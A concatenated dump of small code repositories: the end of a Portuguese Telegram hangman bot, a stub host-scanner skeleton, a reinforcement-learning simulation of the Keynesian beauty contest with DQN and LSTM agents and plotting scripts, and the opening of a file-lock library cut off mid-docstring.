einstein','barack obama','abraham lincoln','nikola tesla','carl sagan','larry page','steves jobs','mark zuckerberg','tim cook','charles chaplin','platao','aristoteles','dilma rousseff','luiz inacio lula da silva','fernando herinque cardoso','george washington','george walker bush','adolf hitler','shigeru miyamoto'], #['Você deu azar e não tem dica!','chaves','parafuseta','rebimboca','kibe','penal','orkut','android','telegram','whatsapp','ornitorrinco','skyrim','dota2','lolzinho','pipa','voce nao vai acertar essa','sim so de zoas'], ['Cidades do mundo','brasilia','curitiba','maringa','new york','tokio','barcelona','amsterda','paris','milao','pequim','berlim','sao paulo','rio de janeiro','salvador','manaus','rio branco','orlando','los angeles','calgary','toronto','montreal','dallas','londres'], ['Herói ou vilão do mundo das HQ/cinema (DC e Marvel)','batman','flash','mulher maravilha','pinguim','super Homem','lanterna verde','duende verde','homem aranha','thor','hulk','homem de ferro','homem formiga','tocha humana','o coisa','viuva negra','arqueiro verde','Groot','Rocket Raccoon','Magneto','Wolverine'], ['Videogames, jogos e empresas da area','the legend of zelda','super mario','counter strike','nintendo wii','super nintendo','playstation','steam','defense of the ancients','league of legends','final fantasy','donkey kong','angry birds','fallout','bioshock','tetris','the elders scroll','minecraft','call of duty','battlefield','bomberman','sonic the hedgehog','just dance','nintendo','sony','sega','dreamcast','bethesda','2k games','valve','riot'], ['Títulos ou nomes relacionados a TV e/ou Cinema!','how i met your mother','sense8','netflix','american Beauty','donnie Darko','esqueceram de mim','the sixth sense','the shining','titanic','todo mundo odeia o cris','agostinho carrara','chapeleiro maluco','alice no pais das maravilhas','harry potter','hora da aventura','bob esponja'], ['Países', 'brasil', 'estados Unidos', 'alemanha', 'japao', 'coreia do Sul', 'africa do sul', 'holanda', 'argentina', 'espanha', 'chile', 'equador', 'canada', 'singapura', 'india', 'emirados arabes', 'italia', 'inglaterra', 'austria', 'grecia', 'Republica Checa'], [ 'Pokémon', 'Bulbasaur', 'Ivysaur', 'Venusaur', 'Charmander', 'Charmeleon', 'Charizard', 'Squirtle', 'Wartortle', 'Blastoise', 'Caterpie', 'Metapod', 'Butterfree', 'Weedle', 'Kakuna', 'Beedrill', 'Pidgey', 'Pidgeotto', 'Pidgeot', 'Rattata', 'Raticate', 'Spearow', 'Fearow', 'Ekans', 'Arbok', 'Pikachu', 'Raichu', 'Sandshrew', 'Sandslash', 'Nidoran', 'Nidorina', 'Nidoqueen', 'Nidoran', 'Nidorino', 'Nidoking', 'Clefairy', 'Clefable', 'Vulpix', 'Ninetales', 'Jigglypuff', 'Wigglytuff', 'Zubat', 'Golbat', 'Oddish', 'Gloom', 'Vileplume', 'Paras', 'Parasect', 'Venonat', 'Venomoth', 'Diglett', 'Dugtrio', 'Meowth', 'Persian', 'Psyduck', 'Golduck', 'Mankey', 'Primeape', 'Growlithe', 'Arcanine', 'Poliwag', 'Poliwhirl', 'Poliwrath', 'Abra', 'Kadabra', 'Alakazam', 'Machop', 'Machoke', 'Machamp', 'Bellsprout', 'Weepinbell', 'Victreebel', 'Tentacool', 'Tentacruel', 'Geodude', 'Graveler', 'Golem', 'Ponyta', 'Rapidash', 'Slowpoke', 'Slowbro', 'Magnemite', 'Magneton', 'Doduo', 'Dodrio', 'Seel', 'Dewgong', 'Grimer', 'Muk', 'Shellder', 'Cloyster', 'Gastly', 'Haunter', 'Gengar', 'Onix', 'Drowzee', 'Hypno', 'Krabby', 'Kingler', 'Voltorb', 'Electrode', 'Exeggcute', 'Exeggutor', 'Cubone', 'Marowak', 'Hitmonlee', 'Hitmonchan', 'Lickitung', 'Koffing', 'Weezing', 'Rhyhorn', 'Rhydon', 'Chansey', 'Tangela', 'Kangaskhan', 'Horsea', 'Seadra', 'Goldeen', 'Seaking', 'Staryu', 'Starmie', 'Mr. Mime', 'Scyther', 'Jynx', 'Electabuzz', 'Magmar', 'Pinsir', 'Tauros', 'Magikarp', 'Gyarados', 'Lapras', 'Ditto', 'Eevee', 'Vaporeon', 'Jolteon', 'Flareon', 'Porygon', 'Omanyte', 'Omastar', 'Kabuto', 'Kabutops', 'Aerodactyl', 'Snorlax', 'Articuno', 'Zapdos', 'Moltres', 'Dratini', 'Dragonair', 'Dragonite', 'Mewtwo', 'Mew', ] ] rpl = [] preState = getPreGame(chat_id) if text.startswith('/'): #Bloco Inicial================================================ if preState == False: if text.startswith('/novojogo') or text.startswith('/novojogo@forca_bot'): setGame(chat_id) rpl.append('Começando um novo jogo! Você sera o administrador dessa rodada '+uName+'\nVamos começar definindo os jogadores\nQuem quiser participar dessa rodada envie o comando /entrar '+emoji_sorriso+'\nSe precisar de ajude mande um /help') rpl.append('Para fechar o grupo de participantes envie o comando /fecharjogo Administador '+uName) setPreGame(chat_id, True) setAdm(chat_id, uId) addPlayer(chat_id, uId, uName) updateList(matriz) setRound(chat_id, 0) elif text.startswith('/help') or text.startswith('/ajuda'): str1 = 'Não existe nenhum jogo em andamento, utilize o comando /novojogo para começar e irei te guiando'+emoji_feliz+'\nCaso deseje ver o ranking use /rank' rpl = [str1] elif text.startswith('/cancelar') or text.startswith('/cancelar@forca_bot'): str1 = 'Não existe jogo no momento, envie o comando /help caso precise de ajuda!' rpl = [str1] elif text.startswith('/rank') or text.startswith('/rank@forca_bot'): rpl.append(emoji_coroa+'RANKING'+emoji_coroa) rank = getRank(chat_id) rpl.append(rank) else: str1 = 'Comando não reconhecido no momento, comandos reconhecidos no momento:\n/novojogo, /rank, /help' rpl = [str1] #Fim do bloco incial /// Comeco do bloco PreGame =================================== else: if text.startswith('/novojogo') or text.startswith('/novojogo@forca_bot'): str1 = 'Existe um jogo em modo de entrada, se quiser entrar digite /entrar' rpl = [str1] elif text.startswith('/rank') or text.startswith('/rank@forca_bot'): rpl.append(emoji_coroa+'RANKING'+emoji_coroa) rank = getRank(chat_id) rpl.append(rank) elif text.startswith('/entrar') or text.startswith('/entrar@forca_bot'): uIds = getuIds(chat_id) if uId in uIds: str1 = 'Você já participa desse jogo'+emoji_lua rpl = [str1] else: addPlayer(chat_id, uId, uName) str1 = 'Certo, '+uName+' você vai participar desta rodada'+emoji_feliz rpl = [str1] elif text.startswith('/cancelar') or text.startswith('/cancelar@forca_bot'): adm = getAdm(chat_id) if uId == adm or (uId == '115277582' and chat_id == '-25285256'): str1 = 'O Administador cancelou o jogo!' #implementar cancelamento por votacao cleanGame(chat_id) rpl = [str1] else: str1 = 'Você não tem autorização para fechar o jogo\nApenas o Administrador pode fazer isso' rpl = [str1] elif text.startswith('/fecharjogo') or text.startswith('/fecharjogo@forca_bot'): adm = getAdm(chat_id) if uId == adm or (uId == '115277582' and chat_id == '-25285256'): setInGame(chat_id,True) leng = len(matriz)-1 rnd1 = randint(0,leng) leng = len(matriz[rnd1])-1 rnd2 = randint(1, leng) ped = getNPeD(rnd1, rnd2) ped[1] = ped[1].lower() setPeD(chat_id, ped) mascara = '*'*(len(ped[0])) lMascara = list(mascara) for i in range(len(mascara)): if ped[0][i]== ' ': lMascara[i] = ' ' if ped[0][i]== '-': lMascara[i] = '-' mascara = "".join(lMascara) setMascara(chat_id, mascara) nomes = getPlayers(chat_id) modVida = len(ped[0])/5 if len(ped[0]) > 5 else 0 modVida += len(nomes)-3 if len(nomes) > 4 else 0 modVida = 9 if modVida > 9 else modVida setVidas(chat_id, modVida) setVidasInit(chat_id, modVida) vidas = getVidas(chat_id) #Randomizar a lista de participantes nomes = getPlayers(chat_id) uIds = getuIds(chat_id) # Given list1 and list2 nomes_shuf = [] uIds_shuf = [] index_shuf = range(len(nomes)) shuffle(index_shuf) for i in index_shuf: nomes_shuf.append(nomes[i]) uIds_shuf.append(uIds[i]) nomes = nomes_shuf uIds = uIds_shuf setShuffle(chat_id, nomes, uIds) str1 = '' for i in range(0, len(nomes)): str1 = str1+nomes[i]+'\n' str2='O jogo vai começar agora! Instruções:\nUtilize o comando /chutar "letra" para chutar letras, quando estiver pronto para arriscar utilize o comando /arriscar "palavra", mas cuidado, se você errar perde o jogo!\nVIDAS:' for i in range(vidas): str2 = str2 + emoji_heart rpl.append(str2) rpl.append('Palavra secreta: '+mascara) rpl.append('Dica: '+str(ped[1])) rpl.append('Grupo de participantes fechados! Vocês jogarão nesta ordem:') rpl.append(str1) else: str1 = 'Você não tem autorização para cancelar o jogo\nApenas o administrador pode fazer isso' rpl = [str1] elif text.startswith('/help') or text.startswith('/help@forca_bot'): str1 = 'Nesse momento a partida está aberta para entrada de novos jogadores\nEnvie o comando /entrar para participar ou /fecharjogo para iniciar o jogo' rpl = [str1] else: str1 = 'Comando não reconhecido no momento\nComandos reconhecidos no momento:\n/entrar, /fecharjogo (adm), /cancelar (adm), /rank, /help' rpl = [str1] else: rpl = ['Não é um comando, lembre se que comandos começam com /'] return rpl
[ "/bds.py", "/game.py", "/main.py", "/preGame.py" ]
0FuzzingQ/PScanner
# -*- coding: utf-8 -*- import threading def get_host(target_list): host_scan_thread = [] if len(target_list) < 4: for target in target_list: t = Thread(target = scan_host, args =(target,)) host_scan_thread.append(t) t.start() else: infest = int(len(target_list)/4) t1 = Thread(target = scan_host, args =(target_list[:infest],)) t2 = Thread(target = scan_host, args =(target_list[infest:infest*2],)) t3 = Thread(target = scan_host, args =(target_list[infest*2:infest*3],)) t4 = Thread(target = scan_host, args =(target_list[infest*3:],)) host_scan_thread.append(t1) host_scan_thread.append(t2) host_scan_thread.append(t3) host_scan_thread.append(t4) t1.start() t2.start() t3.start() t4.start() while True: thread_count = 0 for t in host_scan_thread: if t.isAlive(): thread_count = thread_count + 1 if thread_count == 0: pass --- FILE SEPARATOR --- def get_port(): pass --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import argparse def get_param(): print ("[*]For use info:python main.py -h,--help") parser = argparse.ArgumentParser(description='Scan Mission Params Needed') parser.add_argument('-t', help = "folders you want to scan" , dest = "input") parser.add_argument('-c', help = "scan speed [1,2,3]" , dest = "speed") parser.add_argument('-o', help = "result to save" , dest = "output") #parser.add_argument('-l', help = "log of relationship before file and watermark" , dest = "logpath") args = parser.parse_args() target = args.input speed = args.speed output = args.output return target,speed,output def analyse_param(target,speed,output): try: with open(target,"w") as target_f: target_f.close() except: print("[!]找不到目标文件") try: with open(output,"w") as output_f: output_f.close() except: print("[!]无法创建结果文件") if speed not in [1,2,3]: print("[!]-c参数不正确,可选项[1,2,3]") exit() def analyse_target(target): try: with open(target,"r") as f: content = f.readlines() if len(content) == 0: print("[!]目标文件内容为空") exit() else: target_list = [x.strip("\n") for x in content] return target_list except: print("[!]目标读取失败") --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import os import subprocess import threading import sys import datetime from lib.param import get_param,analyse_param from core.host import get_host #from core import port def run(): target,speed,output = get_param() analyse_param(target,speed,output) target_list = analyse_target(target) get_host(target_list) if __name__ == "__main__": run()
[ "/core/host.py", "/core/port.py", "/lib/param.py", "/main.py" ]
0HJ0/Keynesian-beauty-contest
import random as rd import numpy as np class Agent: def __init__(self, maxNum, agentNum, agentIndex): self.name='Parent' def getAns(self, Answers:list, Rewards:list): return 0 class randomAgent(Agent): def __init__(self, maxNum, agentNum, agentIndex): self.name='Random' self.maxNum = maxNum def getAns(self, Answers:list, Rewards:list): return rd.randint(0, self.maxNum) class zeroAgent(Agent): def __init__(self, maxNum, agentNum, agentIndex): self.name='Zero' def getAns(self, Answers:list, Rewards:list): return 0 class FixedAgent(Agent): def __init__(self, maxNum, agentNum, agentIndex): self.name='Fixed' self.num = rd.randrange(0, maxNum+1) def getAns(self, Answers:list, Rewards:list): return self.num class RepeatAgent(Agent): def __init__(self, maxNum, agentNum, agentIndex): self.name='Repeat' self.num = 2 #+ rd.randint(0, 99)%2 self.arr = rd.sample(range(maxNum+1), self.num) self.cnt=0 def getAns(self, Answers:list, Rewards:list): self.cnt+=1 return self.arr[self.cnt%self.num] class noisedFollowAgent(Agent): def __init__(self, maxNum, agentNum, agentIndex): self.name='Follow' self.maxNum = maxNum self.StdDev = rd.randint(1,10) def getAns(self, Answers:list, Rewards:list): ans = Answers[np.argmax(Rewards)] ans = int(round(np.random.normal(loc=Answers[np.argmax(Rewards)], scale = self.StdDev))) if (ans>self.maxNum): return self.maxNum elif ans<0: return 0 else: return ans --- FILE SEPARATOR --- import numpy as np import keras import random from keras.layers import Dense from keras.optimizers import Adam class DQNAgent: def __init__(self, maxNum, agentNum, agentIndex): self.name='DQN' self.agentIndex = agentIndex self.agentNum = agentNum self.maxNum = maxNum self.dis = 0.95 self.learning_rate = 5e-3 self.model = self._buildModel() self.epsilon = 1 self.epsilon_decay = 0.999 self.epsilon_min = 0.001 self.last_answers = random.sample(range(self.maxNum+1), agentNum) self.last_action = np.random.randint(self.maxNum+1) def _buildModel(self): model = keras.Sequential() model.add(Dense(10, input_dim=self.agentNum+1, activation='relu', kernel_initializer='he_uniform')) model.add(Dense(10, activation='relu', kernel_initializer='he_uniform')) model.add(Dense(self.maxNum+1, activation='linear', kernel_initializer='he_uniform')) model.summary() model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate)) return model def train(self, answers, rewards): Q = self.model.predict(np.divide([np.append(self.last_answers, self.last_answers[self.agentIndex])], self.maxNum)) Q[0, self.last_action] = rewards[self.agentIndex] + self.dis * self.model.predict(np.divide([np.append(answers, answers[self.agentIndex])], self.maxNum))[0, self.last_action] self.model.fit(np.divide([np.append(self.last_answers, self.last_answers[self.agentIndex])], self.maxNum), Q, epochs=1, verbose=0) def getAns(self, last_answers:list, last_rewards:list): self.train(last_answers, last_rewards) self.last_answers = last_answers if random.random() < self.epsilon: self.last_action = int(round(random.random() * self.maxNum)) else: self.last_action = np.argmax(self.model.predict(np.divide([np.append(last_answers, last_answers[self.agentIndex])], self.maxNum))) if self.last_action < 0: self.last_action = 0 elif self.last_action > self.maxNum: self.last_action = self.maxNum if self.epsilon > self.epsilon_min: self.epsilon *= self.epsilon_decay return self.last_action --- FILE SEPARATOR --- import numpy as np import random from keras.layers import LSTM, Dense from keras import Sequential from keras.optimizers import Adam from collections import deque import matplotlib.pyplot as plt names = ['random', 'fixed', 'repeat', 'follow', 'Nfollow', 'NN', 'DQN', 'LSTM'] class LSTMAgent: def __init__(self, maxNum, agentNum, agentIndex): self.name = 'LSTM' self.maxNum = maxNum self.agentNum = agentNum self.agentIndex = agentIndex self.LSTMlearningRate = 1e-2 self.NNlearningRate = 5e-3 self.sequenceSize = 8 self.epsilon = 1 self.epsilonDecay = 0.999 self.epsilonMin = 0.001 self.LSTMmodel = self._buildModel() self.NNmodel = self._buildOutputModel() self.memory = deque([], self.sequenceSize) self.RHIS = [] def _buildModel(self): model = Sequential() model.add(LSTM(10, input_shape=(self.sequenceSize, self.agentNum+1), return_sequences=True, kernel_initializer='he_uniform')) model.add(LSTM(10, kernel_initializer='he_uniform')) model.add(Dense(self.agentNum-1, activation='linear', kernel_initializer='he_uniform')) model.summary() model.compile(loss='mse', optimizer=Adam(lr=self.LSTMlearningRate)) return model def _buildOutputModel(self): model = Sequential() model.add(Dense(10, input_dim=2*self.agentNum, activation='relu', kernel_initializer='he_uniform')) model.add(Dense(10, activation='relu', kernel_initializer='he_uniform')) model.add(Dense(1, activation='linear')) model.summary() model.compile(loss='mse', optimizer=Adam(lr=self.NNlearningRate)) return model def predict(self): Pred = np.round(self.maxNum * self.LSTMmodel.predict( np.divide([np.append(self.memory, np.vstack(np.array(self.memory)[:,self.agentIndex]), axis=1)], self.maxNum))) arr = np.concatenate((Pred, self.memory[-1], self.memory[-1][self.agentIndex]), axis=None) X = np.divide([arr], self.maxNum) action = self.NNmodel.predict(X) return int(round(self.maxNum * action[0,0])) def trainLSTM(self, Answers): X = np.divide([np.append(self.memory, np.vstack(np.array(self.memory)[:,self.agentIndex]), axis=1)], self.maxNum) Y = np.divide([np.delete(Answers, self.agentIndex)], self.maxNum) self.LSTMmodel.fit(X, Y, epochs=1, verbose=0) def trainNN(self, Answers, Rewards): Pred = np.round(self.maxNum * self.LSTMmodel.predict( np.divide([np.append(self.memory, np.vstack(np.array(self.memory)[:,self.agentIndex]), axis=1)], self.maxNum))) self.RHIS.append(np.subtract(Pred, np.delete(Answers, self.agentIndex))) arr = np.concatenate((Pred, self.memory[-1], self.memory[-1][self.agentIndex]), axis=None) X = np.divide([arr], self.maxNum) ans = Answers[np.argmax(Rewards)] Y = np.divide([[ans]], self.maxNum) self.NNmodel.fit(X,Y, epochs=1, verbose=0) def data(self, ContestNum): plt.figure(figsize=(15,7.5)) for i in range(self.agentNum-1): tempList = [] for j in range(ContestNum): tempList.append(np.mean(np.absolute(self.RHIS)[j-100:j+1, 0, i])) plt.plot(range(ContestNum), tempList, label=names[i]) plt.legend() plt.savefig('graph.png') def getAns(self, Answers, Rewards): if len(self.memory) == self.sequenceSize: self.trainLSTM(Answers) self.trainNN(Answers, Rewards) self.memory.append(Answers) if random.random() < self.epsilon or len(self.memory) != self.sequenceSize: action = random.choice(range(self.maxNum+1)) else: action = self.predict() if self.epsilon > self.epsilonMin: self.epsilon*=self.epsilonDecay """ loss graph ContestNum = 5000 if len(self.RHIS) == ContestNum: self.data(ContestNum) """ return action --- FILE SEPARATOR --- import numpy as np import keras import random from keras.layers import Dense from keras.optimizers import Adam class NNAgent: def __init__(self, maxNum, agentNum, agentIndex): self.name='NN' self.agentNum = agentNum self.agentIndex = agentIndex self.maxNum = maxNum self.learning_rate = 5e-3 self.model = self._buildModel() self.epsilon = 1 self.epsilon_decay = 0.999 self.epsilon_min = 0.001 self.last_answers = random.sample(range(maxNum+1), agentNum) def _buildModel(self): model = keras.Sequential() model.add(Dense(10, input_dim=self.agentNum+1, activation='relu', kernel_initializer='he_uniform')) model.add(Dense(10, activation='relu', kernel_initializer='he_uniform')) model.add(Dense(1, activation='linear', kernel_initializer='he_uniform')) model.summary() model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate)) return model def getAns(self, last_answers:list, last_rewards:list): X = np.divide([np.append(self.last_answers, self.last_answers[self.agentIndex])], self.maxNum) Y = np.divide([last_answers[np.argmax(last_rewards)]], self.maxNum) self.model.fit(X, Y, epochs=1, verbose=0) self.last_answers = last_answers if random.random() < self.epsilon: action = random.choice(range(self.maxNum+1)) else: action = int(round(self.maxNum * self.model.predict(np.divide([np.append(last_answers, last_answers[self.agentIndex])], self.maxNum))[0,0])) if self.epsilon > self.epsilon_min: self.epsilon *= self.epsilon_decay if action<0: return 0 elif action>self.maxNum: return self.maxNum else: return action --- FILE SEPARATOR --- import csv import numpy as np import matplotlib.pyplot as plt lineNum = 30 fileNum = 3 agentNum = 8 agent = [[] for i in range(agentNum)] agentName = ["Random", "Fixed", "Repeat", "Follow", "NFollow", "NN", "DQN", "LSTM"] agentDict = {'Random':0, 'Fixed':1, 'Repeat':2, 'Follow':3, 'NFollow':4, 'NN':5, 'DQN':6, 'LSTM':7} colorList = ['dodgerblue', 'orange', 'limegreen', 'red', 'purple', 'brown', 'violet', 'gray'] cnt = 0 for i in range(fileNum): f = open('rewards{}.csv'.format(str(i)), 'r', encoding='utf-8') rdr = csv.reader(f) lineN = 0 for line in rdr: agent[agentDict[line[0]]].append(list(map(int, line[1:]))) cnt += 1 print("Loading data {}%".format(str(cnt*100/(lineNum*fileNum)))) for agentN in range(agentNum): for lineN in range(len(agent[agentN])): for i in range(len(agent[agentN][lineN])): if i!=0: agent[agentN][lineN][i] = ((agent[agentN][lineN][i-1]*i + agent[agentN][lineN][i]) / (i+1)) agent = np.array(agent) avg = [[] for i in range(agentNum)] std = [[] for i in range(agentNum)] for i in range(agentNum): print(np.shape(agent[i])) for agentN in range(agentNum): arr = np.array(agent[agentN]) print(np.shape(arr)) for i in range(10000): avg[agentN].append(np.mean(arr[:,i])) std[agentN].append(np.std(arr[:,i])) for agentN in range(agentNum): plt.fill_between(range(10000), np.array(avg[agentN])-np.array(std[agentN])/2, np.array(avg[agentN])+np.array(std[agentN])/2,alpha=0.3) for agentN in range(agentNum): plt.plot(avg[agentN], label = agentName[agentN], color = colorList[agentN]) axes = plt.gca() axes.set_ylim([-0.025,0.5]) plt.legend() plt.show() --- FILE SEPARATOR --- import csv import numpy as np import matplotlib.pyplot as plt lineNum = 20 fileNum = 20 agentNum = 7 agent = [[] for i in range(agentNum)] agentName = ["Random", "Fixed", "Repeat", "Follow", "NN", "DQN", "LSTM"] agentDict = {'Random':0, 'Fixed':1, 'Repeat':2, 'Follow':3, 'NN':4, 'DQN':5, 'LSTM':6} colorList = ['dodgerblue', 'orange', 'limegreen', 'purple', 'brown', 'violet', 'gray'] cnt = 0 for i in range(fileNum): f = open('population{}.csv'.format(str(i)), 'r', encoding='utf-8') rdr = csv.reader(f) lineN = 0 for line in rdr: agent[agentDict[line[0]]].append(list(map(int, line[1:]))) cnt += 1 print("Loading data {}%".format(str(cnt*100/(lineNum*fileNum)))) agent = np.array(agent) avg = [[] for i in range(agentNum)] std = [[] for i in range(agentNum)] for i in range(agentNum): print(np.shape(agent[i])) for agentN in range(agentNum): arr = np.array(agent[agentN]) print(np.shape(arr)) for i in range(len(arr[0])): avg[agentN].append(np.mean(arr[:,i])) std[agentN].append(np.std(arr[:,i])) for agentN in range(agentNum): plt.fill_between(range(len(arr[0])), np.array(avg[agentN])-np.array(std[agentN]), np.array(avg[agentN])+np.array(std[agentN]),alpha=0.3, color = colorList[agentN]) for agentN in range(agentNum): plt.plot(avg[agentN], label = agentName[agentN], color = colorList[agentN]) axes = plt.gca() axes.set_ylim([-0.025,20]) plt.legend() plt.show() --- FILE SEPARATOR --- import numpy as np class env: def play(inputData: list): data = np.array(inputData) #배열 원소 연산을 위해 array로 변환 N = len(data) #input 길이 rewards = np.full(N,-1) # mean = sum(data)/N #평균 mean ans = mean * (2/3) #정답값 ans #print(ans) errorList = abs(data - ans) #각 뭔소와 정답값 과의 차 배열 m = min(errorList) #최소 오차값 for i in range(N): if errorList[i] == m: #최소 오차값을 가지면 rewards[i] = 1 #해당 에이전트에 리워드는 1 #print(type(rewards)) return rewards --- FILE SEPARATOR --- import numpy as np import random import matplotlib.pyplot as plt import pandas as pd import time import os import env import Agents import NNAgent import DQNAgent import LSTMAgent maxNum = 100 ContestNum = 5000 #한 세대의 대회 회수 agentNum = 20 selectionRate = 25 genNum = 10 minimum = 2 maximum = 4 stdList = [] agentDict = {0: Agents.randomAgent, 1: Agents.FixedAgent, 2: Agents.RepeatAgent, 3: Agents.noisedFollowAgent, 4: NNAgent.NNAgent, 5: DQNAgent.DQNAgent, 6: LSTMAgent.LSTMAgent} colorDict = {'Random':'dodgerblue', 'Fixed':'orange', 'Repeat':'limegreen', 'Follow':'purple', 'NN':'brown', 'DQN':'violet', 'LSTM': 'gray'} numDict = { 'Random':0, 'Fixed':1, 'Repeat':2, 'Follow':3, 'NN':4, 'DQN':5, 'LSTM':6} def makeInitialGroup(): fn=random.randint(2,4) numList = [0]*6 while True: numList = [0]*6 while sum(numList)<(agentNum-fn): numList[random.randint(0,5)]+=1 if max(numList)<=maximum and min(numList)>=minimum: break numList.insert(3,fn) #numList = [1, 1, 1, 1, 1, 1, 1, 1] print("agentList: {}".format(numList)) return numList def makeGroup(numList:list): Group=[] cnt=0 for i in range(len(numList)): for j in range(numList[i]): Group.append(agentDict[i](maxNum, sum(numList), cnt)) cnt+=1 print("Successfully made Group of Agents. [{}/{}]".format(i+1,len(numList))) return Group def main(filename, mainNum, genNum): GroupList = [makeInitialGroup()] #GroupList = [[0,0,0,0,0,0,20]] ''' stdList.append([0]) for i in range(1, GroupList[0][3]): stdList[-1].append(random.randint(0, 10)) ''' for i in range(1, genNum+1): GroupList.append(expGen(filename, mainNum, i, GroupList[-1])) names = ['Random', 'Fixed', 'Repeat', 'Follow', 'NN', 'DQN', 'LSTM'] data = [[] for i in range(7)] print(GroupList) for i in range(7): for j in range(len(GroupList)): data[i].append(GroupList[j][i]) dataframe = pd.DataFrame(data, index=names) dataframe.to_csv("data/{}/population{}.csv".format(filename, str(mainNum)), header=False, index=True) ''' dataframe = pd.DataFrame(stdList) dataframe.to_csv("data/{}/std{}.csv".format(filename, str(mainNum)), header=False) ''' print('Done.') def expGen(filename, mainNum, genNum, Group): # initial setting Agent = makeGroup(Group) ''' print(Group[3]) print(stdList[-1]) for i in range(Group[3]): Agent[sum(Group[:3])+i].StdDev = stdList[-1][i] ''' # Contest lastRewards = np.zeros(agentNum) lastAnswers = random.sample(range(maxNum+1), agentNum) winHistory=[ [0] for i in range(agentNum) ] ansHistory=[ [0] for i in range(agentNum) ] for Contest in range(ContestNum): startTime = time.time() rewards=[] answers = [] for i in range(agentNum): answers.append(int(round(Agent[i].getAns(lastAnswers, lastRewards)))) rewards=env.env.play(answers) for i in range(agentNum): winHistory[i].append(1 if rewards[i]==1 else 0) ansHistory[i].append(answers[i]) lastRewards=rewards lastAnswers=answers endTime = time.time() print("[Episode:{:>5}][time:{:<5}]".format(Contest,round(endTime - startTime, 3))) if Contest % 100 == 0: for i in range(agentNum): print("[Agent {:>2} {:>6}:{:>3}]".format(i,Agent[i].name,answers[i])) #Saving data names = [] for agt in Agent: names.append(agt.name) dataframe = pd.DataFrame(winHistory, index=names) dataframe.to_csv("data/{}/rewards{}_{}.csv".format(filename, str(mainNum), str(genNum)), header=False, index=True) dataframe = pd.DataFrame(ansHistory, index=names) dataframe.to_csv("data/{}/answers{}_{}.csv".format(filename, str(mainNum), str(genNum)), header=False, index=True) # Learning Ability Graph plt.figure(figsize=(15,7.5)) plt.subplot(211) for i in range(agentNum): tempList = [] for j in range(ContestNum): tempList.append(sum(winHistory[i][:j])) if i==0 or Agent[i].name!=Agent[i-1].name: plt.plot(range(ContestNum), np.divide(tempList, range(1,ContestNum+1)), label=Agent[i].name, color=colorDict[Agent[i].name]) else: plt.plot(range(ContestNum), np.divide(tempList, range(1,ContestNum+1)), color=colorDict[Agent[i].name]) plt.legend() plt.subplot(212) for i in range(agentNum): tempList = [] for j in range(ContestNum): tempList.append(np.mean(winHistory[i][j-100:j+1])) plt.plot(range(ContestNum), tempList, label=Agent[i].name) plt.savefig('data/{}/graph{}_{}.png'.format(filename, str(mainNum), str(genNum))) #Survival of Fittest Task tempList=[] idxList = [j for j in range(agentNum)] for j in range(agentNum): tempList.append(sum(winHistory[j][-1000:])) for k in range(agentNum): for j in range(agentNum-1): if tempList[j]>tempList[j+1]: tempList[j], tempList[j+1] = tempList[j+1], tempList[j] idxList[j], idxList[j+1] = idxList[j+1], idxList[j] newPopulation = [] for j in range(7): newPopulation.append(Group[j]) ''' stdList.append([]) for j in range(Group[3]): stdList[-1].append(Agent[sum(Group[:3])+j].StdDev) ''' print(newPopulation) for j in range(int(selectionRate/100*agentNum)): #하위 25%제거. newPopulation[numDict[Agent[idxList[j]].name]]-=1 #if Agent[idxList[j]].name == "Follow": #stdList[-1].remove(Agent[idxList[j]].StdDev) for j in range(int(selectionRate/100*agentNum)): #상위 25%복제. newPopulation[numDict[Agent[idxList[-1-j]].name]]+=1 #if Agent[idxList[-1-j]].name == "Follow": #stdList[-1].append(Agent[idxList[-1-j]].StdDev) return newPopulation if __name__=='__main__': filename = time.strftime('%Y%m%d-%H%M', time.localtime(time.time())) if not(os.path.isdir("data/{}".format(filename))): os.makedirs(os.path.join("data/{}".format(filename))) for i in range(9, 10): main(filename, i, genNum) --- FILE SEPARATOR --- import csv import numpy as np import matplotlib.pyplot as plt lineNum = 20 fileNum = 10 selectionRate = 25 agentNum = 7 agent = [[] for i in range(lineNum)] agentName = ["Random", "Fixed", "Repeat", "Follow", "NN", "DQN", "LSTM"] agentDict = {'Random':0, 'Fixed':1, 'Repeat':2, 'Follow':3, 'NN':4, 'DQN':5, 'LSTM':6} colorList = ['dodgerblue', 'orange', 'limegreen', 'purple', 'brown', 'violet', 'gray'] cnt = 0 GroupList = [] newPop = [] for i in range(fileNum): f = open('rewards{}_10.csv'.format(str(i)), 'r', encoding='utf-8') rdr = csv.reader(f) lineN = 0 member = [] agent = [[] for j in range(lineNum)] cnt = 0 for line in rdr: member.append(line[0]) agent[cnt].append(list(map(int, line[1:]))) cnt += 1 print("Loading data {}%".format(str(cnt*100/(lineNum)))) win = [] for j in range(lineNum): #print(agent[j][0][-1000:]) win.append(sum(agent[j][0][-1000:])) idxList = [j for j in range(lineNum)] for k in range(lineNum): for j in range(lineNum-1): if win[j]>win[j+1]: win[j], win[j+1] = win[j+1], win[j] idxList[j], idxList[j+1] = idxList[j+1], idxList[j] newPopulation = [0]*7 for j in range(lineNum): newPopulation[agentDict[member[j]]]+=1 GroupList.append([]) for j in range(agentNum): GroupList[-1].append(newPopulation[j]) for j in range(int(selectionRate/100*lineNum)): #하위 25%제거. newPopulation[agentDict[member[idxList[j]]]]-=1 for j in range(int(selectionRate/100*lineNum)): #상위 25%복제. newPopulation[agentDict[member[idxList[-1-j]]]]+=1 newPop.append(newPopulation) print(GroupList) print(newPop)
[ "/Agents.py", "/DQNAgent.py", "/LSTMAgent.py", "/NNAgent.py", "/drawgraph(execute in same dir).py", "/drawgraph(execute in same dir, for survival of fittest).py", "/env.py", "/main.py", "/makeNewPop.py" ]
0Hughman0/ezlock
__version__ = '0.1.3' from .lock import Lock, LockError --- FILE SEPARATOR --- from pathlib import Path import os import time import atexit class LockError(Exception): pass class Lock: def __init__(self, path='.lock', release_on_exit=False): """ Lock object that keeps track of a file found at `self.path`. If there is a file found at `self.path`, the lock is considered... locked! Parameters ========== path : str, Path path to write the lock file to (will be converted to `pathlib.Path`). Defaults to '.lock'. """ self.path = Path(path) self._do_release_on_exit = None self.release_on_exit = release_on_exit @property def name(self): """ name written to lock to prove ownership """ return 'pid:{}, obj:{}'.format(os.getpid(), id(self)) @property def locked(self): """ Does the lock-file at `self.path` exist? """ return self.path.exists() @property def mine(self): """ Was the lock created by this object? """ try: return self.path.read_text() == self.name except FileNotFoundError: raise LockError("Attempted to check ownership on lock that 